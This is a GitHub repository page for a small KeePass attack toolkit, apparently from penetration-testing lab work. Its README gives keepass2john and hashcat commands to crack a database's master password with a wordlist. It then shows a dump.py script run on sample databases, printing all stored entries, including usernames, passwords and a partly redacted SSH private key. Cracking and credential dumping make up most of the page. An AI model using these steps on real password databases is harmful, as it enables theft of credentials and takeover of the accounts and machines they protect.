Skip to content

sparkByProxy/keepass-stuff

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 

Repository files navigation

Cracking Keepass

get keepass master hash keepass2john CrackThis.kdb | grep -o "$keepass$.*" > hash.txt

crack it with hashcat hashcat -m 13400 hash.txt /usr/share/wordlists/rockyou.txt

Install

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Dumping all passwords

python dump.py <keepass file> <password>

examples:

└─$ python dump.py ../milana_Database.kdbx password123
### entry title: BACKUP Machine SSH Key
username: sarah
password: xxxplaceholderxxx
notes: -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
xxx
YrVWwfV/7GWhjAhsWegDAAAADnRlc3RzQGhhdC13b3JrAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
└─$ python dump.py ../jim_Database.kdbx password456
### entry title: LOGIN local admin
username: dmzadmin
password: xxxabc
notes: None
### entry title: User Password
username: jim@relia.com
password: abcdefg!
notes: None

About

nasty things for keepass

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages